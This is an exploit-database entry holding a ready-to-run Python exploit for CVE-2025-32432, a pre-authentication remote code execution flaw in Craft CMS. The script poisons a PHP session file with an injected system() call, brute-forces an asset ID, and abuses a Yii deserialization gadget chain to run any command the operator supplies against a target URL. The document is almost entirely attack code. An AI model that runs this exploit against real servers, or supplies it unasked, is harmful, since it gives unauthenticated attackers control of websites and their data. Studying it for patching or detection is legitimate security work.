Craft CMS 5.6.16 – RCE
# Exploit Title: Craft CMS 5.6.16 - RCE # Google Dork: N/A # Date: 2026-01-24 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Vendor Homepage: https://craftcms.com # Software Link: https://github.com/craftcms/cms # Version: <= 3.9.14, <= 4.14.14, <= 5.6.16 # Tested on: Linux, Apache/Nginx, PHP 8.x # CVE: CVE-2025-32432 # # Description: # Craft CMS contains a pre-authentication remote code execution vulnerability # in the assets/generate-transform endpoint. By abusing a Yii deserialization # gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session # file, an unauthenticated attacker can achieve arbitrary command execution. # import requests import argparse import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def find_asset_id(base_url, max_attempts=300): """ Brute-force search for a valid Asset ID. This is optional and may be unreliable on some installations. """ session = requests.Session() session.verify = False print("[*] Brute-forcing Asset ID (best-effort)...") for asset_id in range(1, max_attempts + 1): url = f"{base_url}/actions/assets/generate-transform" payload = { "assetId": asset_id, "handle": { "width": 1, "height": 1, "as hack": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [ { "itemFile": "invalid" } ] } } } try: r = session.post(url, json=payload, timeout=5) if r.status_code != 404: print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})") return asset_id except: continue print(f"[-] No valid Asset ID found after {max_attempts} attempts.") return None def implant_php(base_url, cmd): """ Step 1: Poison the PHP session file with injected PHP code. This relies on old-style behavior where query parameters are written into the session file without sanitization. """ injection = f"<?php system('{cmd}'); ?>" url = f"{base_url}/index.php?p=admin/dashboard&a={injection}" try: r = requests.get(url, verify=False, timeout=10) if r.status_code == 200: print(f"[+] Session poisoning request sent successfully") return True else: print(f"[-] Injection failed (HTTP {r.status_code})") return False except Exception as e: print(f"[-] Injection error: {e}") return False def execute_command(base_url, asset_id, session_id): """ Step 2: Trigger deserialization and force PhpManager to include the poisoned session file from /tmp/sess_<PHPSESSID>. """ url = f"{base_url}/actions/assets/generate-transform" payload = { "assetId": asset_id, "handle": { "width": 1, "height": 1, "as hack": { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", "__construct()": [ { "itemFile": f"/tmp/sess_{session_id}" } ] } } } try: r = requests.post(url, json=payload, verify=False, timeout=15) return r.text except Exception as e: return f"[-] Execution request failed: {e}" def main(): parser = argparse.ArgumentParser( description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution" ) parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. https://victim.com)") parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g. id, whoami)") parser.add_argument("-a", "--asset", type=int, help="Known valid Asset ID (recommended)") parser.add_argument("-s", "--scan-max", type=int, default=300, help="Max Asset ID brute-force range (optional)") args = parser.parse_args() base_url = args.url.rstrip('/') session = requests.Session() session.verify = False # Step 0: Obtain PHP session ID try: r = session.get(f"{base_url}/index.php", verify=False, timeout=10) session_id = session.cookies.get("PHPSESSID", None) if not session_id: print("[-] Failed to obtain PHPSESSID") return print(f"[+] Obtained PHPSESSID: {session_id}") except Exception as e: print(f"[-] Failed to establish session: {e}") return # Determine Asset ID asset_id = args.asset if not asset_id: asset_id = find_asset_id(base_url, args.scan_max) if not asset_id: print("[-] Exploitation aborted: no valid Asset ID found") return print(f"[+] Using Asset ID: {asset_id}") # Step 1: Poison session file if not implant_php(base_url, args.cmd): print("[-] Session poisoning failed") return print("[*] Waiting for session file to be written...") time.sleep(2) # Step 2: Trigger RCE print(f"[*] Triggering command execution: {args.cmd}") output = execute_command(base_url, asset_id, session_id) # Output handling print("\n[+] Server response:") print(output[:2000]) if __name__ == "__main__": print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===") main() |